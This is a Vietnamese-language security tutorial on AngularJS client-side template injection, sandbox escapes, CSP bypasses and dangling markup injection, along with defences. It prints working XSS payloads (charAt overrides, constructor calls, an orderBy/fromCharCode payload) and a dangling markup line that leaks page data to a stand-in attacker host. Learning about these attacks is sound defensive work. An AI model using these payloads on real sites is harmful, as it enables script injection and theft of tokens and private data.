**Client-side template injection:**

**Khái niệm:**

Lỗ hổng này sinh ra khi những ứng dùng nhúng đầu vào trong các thư viện mẫu phía máy khách trong trang web.

Khi trích xuất ra 1 trang web, thư viện sẽ tìm những biểu thức mẫu và thực thi nó.

Một kẻ tấn công có thể khai thác nó để tiêm biểu thức mẫu độc hại thực hiện cuộc tấn công XSS.

**Angular sandbox là gì?**

Angular sandbox là 1 kĩ thuật ngăn chặn truy suất đến những đối tượng nguy hiểm như window hay document trong biểu thức mẫu của Angular JS. Nó cũng ngăn chặn truy suất đến những thuộc tính nguy hiểm như \_proto\_

Mặc dù không được coi là bảo mật tốt bởi Angular team, nhưng lượng lớn nhà phát triển thì nghĩ ngược lại.

Mặc dù vượt qua được sandbox rất khó khăn nhưng những nhà nghiên cứu bảo mật đã khám phá ra rất nhiều cách để làm được điều đó.

Cuối cùng, nó đã bị xóa đi khỏi Angular trong phiên bản 1.6. Tuy nhiên, rất nhiều ứng dụng vẫn dùng những phiên bản cũ của Angular JS và dính lỗ hổng.

**AngularJS sandbox hoạt động như thế nào?**

Sandbox hoạt động bằng cách phân tích 1 biểu thức, viết lại Javascript và sau đó dùng nhiều hàm khác nhau để kiểm tra xem liệu code được viết lại có chứa những đối tượng nguy hiểm không.

Ví dụ, hàm ensureSafeObject() giúp kiểm tra các đối tượng nguy hiểm như window

Hàm ensureSafeMemberName() kiểm tra thuộc tính của đối tượng đó có nguy hiểm không như \_proto\_ hay \_lookupGetter\_

Hàm ensureSafeFuntion() ngăn chặn hàm call(), apply(), bind() hay constructor() được gọi.

**AngularJS sandbox escape hoạt động như thế nào?**

Một sandbox escape làm cho sandbox nghĩ những biểu thức độc hại rất nhẹ. escape được dùng nhiều nhất là hàm charAt() đã điều chỉnh trong 1 biểu thức:

'a'.constructor.prototype.charAt=[].join

Khi mới được phát hiện, AngularJS không ngăn chặn nó. Cuộc tấn công được thực hiện bằng cách ghi đè hàm dùng phương thức [].join, làm cho hàm charAt() trả về tất cả kí tự gửi đến nó hơn là 1 chữ cái cụ thể.

Vì tính logic của hàm isIdent() trong AngularJS, nó thường so sánh những gì nó nghĩ là 1 kí tự với chuỗi . Vì kí tự đơn thường ngắn hơn chuỗi, hàm isIdent() luôn trả về đúng theo ví dụ sau:

isIdent = function(ch) {

return ('a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || '\_' === ch || ch === '$');

}

isIdent('x9=9a9l9e9r9t9(919)')

Chỉ khi hàm isIdent() bị đánh lừa, bạn mới có thể tiêm Javascript độc hại.

Một biểu thức như: $eval('x=""')+''

Chúng ta cần dùng hàm $eval() vì việc ghi đè hàm charAt() sẽ chỉ hiệu quả khi đoạn mã được thực thi.

**XSS without HTML: Client-Side Template Injection with AngularJS**

1) Làm sao biết ứng đụng đang dùng AngularJS?

Những trang HTML bạn nhìn thấy qua source có chứa ng-app là những template.

2) Làm sao chúng ta tấn công XSS bằng Angular được?

Đầu vào do chúng ta kiểm soát được hiển thị trên trang web thay vì tiêm code Javascript, chúng ta tiêm những template của Angular.

3) Cách AngularJS hoạt động?

Phân tích những templates ra code Javascript

4) Angular sandbox giúp chặn những đối tượng, hàm nguy hiểm.

Để tấn công XSS, chúng ta phải break được sandbox.

5) Những templates của Angular là những biểu thức.

Đoạn mã giống như Javascript nằm trong {{}}

{{constructor.constructor('alert(1)')()}}

Bản thân những biểu thức Angular thì không thể gây hại gì, nhưng khi kết hợp với sandbox escape, chúng ta có thể thực thi Javascript.

**Sanitize:**

a'.constructor.fromCharCode=[].join;

'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

Khi hàm fromCharCode được gọi, bạn sẽ lấy chuỗi <iframe>

**Escape sandbox:**

{{

'a'.constructor.prototype.charAt=[].join;

$eval('x=alert(1)')+''

}}

**\*Trong thực tế:**

- Nếu trang web không cho bạn dùng nháy đơn, nháy kép, bạn phải dùng những hàm như String.fromCharCode() để tạo ra những kí tự.

- Mặc dù AngularJS ngăn chặn truy cập String constructor trong 1 biểu thức, ta có thể dùng thuộc tính của constructor String.

=> Rõ ràng nó yêu cầu 1 chuỗi, vì vậy để tấn công bạn cần tìm cách tạo 1 chuỗi không có nháy đơn, nháy kép.

- Khi hàm $eval() không hợp lệ để thực thi Javascript, bạn có thể dùng orderBy thay thế.

[123]|orderBy:'Some string'

Payload:

toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

**Bypass CSP bằng AngularJS:**

**Content security policy:**

**Khái niệm:**

CSP là 1 kĩ thuật bảo mật của trình duyệt nhằm giảm thiểu XSS và những tấn công khác. Nó hoạt động bằng cách giới hạn những mã nguồn (như script và hình ảnh) mà trang có thể tải và hạn chế 1 trang có thể được mở bởi các trang khác.

Để kích hoạt CSP, 1 phản hồi cần bao gồm 1 header Content-Security-Policy. Giá trị của nó là những chỉ thị của chính sách đó, được phân cách bằng dấu ;

**Giảm thiểu tấn công XSS bằng cách dùng CSP:**

Chỉ thị sau sẽ chỉ cho phép những tập lệnh được tải từ cùng 1 nguồn gốc với chính trang đó

script-src 'self'

Chỉ thị sau sẽ chỉ cho phép những tập lệnh được tải từ 1 tên miền cố định:

script-src https://scripts.normal-website.com

Cần thận trọng khi cho phép những tập lệnh từ miền bên ngoài. Nếu có bất kỳ cách nào để kẻ tấn công kiểm soát nội dung được cung cấp từ miền bên ngoài, thì chúng có thể thực hiện 1 cuộc tấn công.

Ví dụ, mạng phân phối nội dung (CDNs) không dùng những urls cho mỗi khách hàng, như ajax.googleapis.com thì không đáng tin cậy vì bên thứ ba có thể lấy nội dung trên miền của họ.

Ngoài danh sách những tên miền được phép, csp cũng cung cấp 2 cách để xác định những mã nguồn đáng tin cậy: nonces và hashes

* Chỉ thị CSP có thể xác định 1 nonce (1 giá trị ngẫu nhiên) và 1 giá trị tương tự bắt buộc phải dùng khi tải 1 kịch bản. Nếu giá trị đó không phù hợp, đoạn mã sẽ không được kích hoạt. Để kiểm soát hiệu quả, nonce bắt buộc phải được tạo 1 cách bí mật trên mỗi trang và kẻ tấn công không thể đoán.
* Chỉ thị CSP có thể xác định 1 hash cho nội dung của tập lệnh đáng tin cậy. Nếu hash của đoạn mã thực tế không phù hợp với giá trị trong chỉ thị, đoạn mã sẽ không được kích hoạt. Nếu nội dung của đoạn mã thay đổi, tất nhiên bạn phải thay đổi giá trị hash trong chỉ thị.

Việc CSP chặn những mã nguồn như script khá phổ biến. Tuy nhiên, rất nhiều CSPs cho phép những yêu cầu hình ảnh. Điều đó có nghĩa là bạn có thể dùng thẻ img để gửi yêu cầu đến những máy chủ từ bên ngoài để tiết lộ mã CSRF.

Ví dụ, một vài trình duyệt như Chrome có giảm thiểu dangling markup dựng sẵn sẽ chặn những yêu cầu chứa những kí tự xác định như \n hay <,>

Một vài chính sách hạn chế hơn và ngăn chặn tất cả yêu cầu từ bên ngoài. Tuy nhiên, vẫn có thể vượt qua những hạn chế này bằng cách gợi ra một số tương tác của người dùng. Để vượt qua chính sách này, bạn cần tiêm thẻ HTML, mà khi nhấn vào sẽ lưu trữ và gửi mọi thứ trong thẻ được tiêm đến máy chủ bên ngoài.

**Tiêm dangling markup:**

**Khái niệm:**

Tiêm dangling markup là 1 kĩ thuật thu thập dữ liệu trên nhiều miền trong tình huống không thể tấn công XSS.

Giả sử 1 ứng dụng nhúng dữ liệu kẻ tấn công kiểm soát được trong những phản hồi theo 1 cách không an toàn:

<input type="text" name="input" value="CONTROLLABLE DATA HERE

Giả sử ứng dụng cũng không lọc hoặc escape những kí tự >,”. Kẻ tấn công có thể dùng cú pháp sau để thoát khỏi thuộc tính cũ và đóng thẻ, rồi trả về bối cảnh của HTML:

“>

Trong tình huống đó, kẻ tấn công cố gắng tấn công XSS. Nhưng giả sử XSS thông thường là không thể vì bộ lọc đầu vào, CSP hay những chướng ngại vật khác. Ở đây, vẫn có thể tiêm dangling markup bằng việc sử dụng payload sau:

"><img src='//attacker-website.com?

Payload sẽ tạo ra 1 thẻ img và thuộc tính src chứa url trên máy chủ của kẻ tấn công. Lưu ý rằng payload của kẻ tấn công không đóng thuộc tính src, nó bị dangling.

Khi trình duyệt phân tích phản hồi, nó sẽ nhìn về phía trước cho đến khi gặp được dấu ngoặc kép để kết thúc thuộc tính. Mọi thứ cho đến kí tự đó sẽ được xử lí như 1 phần của url và gửi đến máy chủ của kẻ tấn công.

Hậu quả của cuộc tấn công là có thể nắm bắt được 1 phần phản hồi của ứng dụng sau điểm tiêm, có thể chứa dữ liệu nhạy cảm. Phụ thuộc vào chức năng của ứng dụng, nó có thể chứa mã CSRF, tin nhắn email hay dữ liệu tài chính.

Bất cứ thuộc tính nào yêu cầu từ bên ngoài đều có thể sử dụng dangling markup.

**Làm sao để ngăn chặn những cuộc tấn công dangling markup?**

Bạn có thể phòng thủ những cuộc tấn công dangling markup bằng cách mã hóa dữ liệu đầu ra và xác thực đầu vào ở điểm đến.

Bạn cũng có thể giảm thiểu chúng bằng cách sử dụng CSP. Ví dụ, bạn có thể ngăn chặn 1 vài cuộc tấn công bằng cách dùng chính sách ngăn chặn thẻ img khỏi tải những mã nguồn bên ngoài.

**Lưu ý:** trình duyệt Chrome đã giải quyết những cuộc tấn công dangling markup bằng cách ngăn chặn những thẻ như img khỏi việc xác định url chứa những kí tự raw như <,> và \n. Điều này sẽ ngăn chặn cuộc tấn công vì dữ liệu được thu thập sẽ luôn chứa những kí tự đó.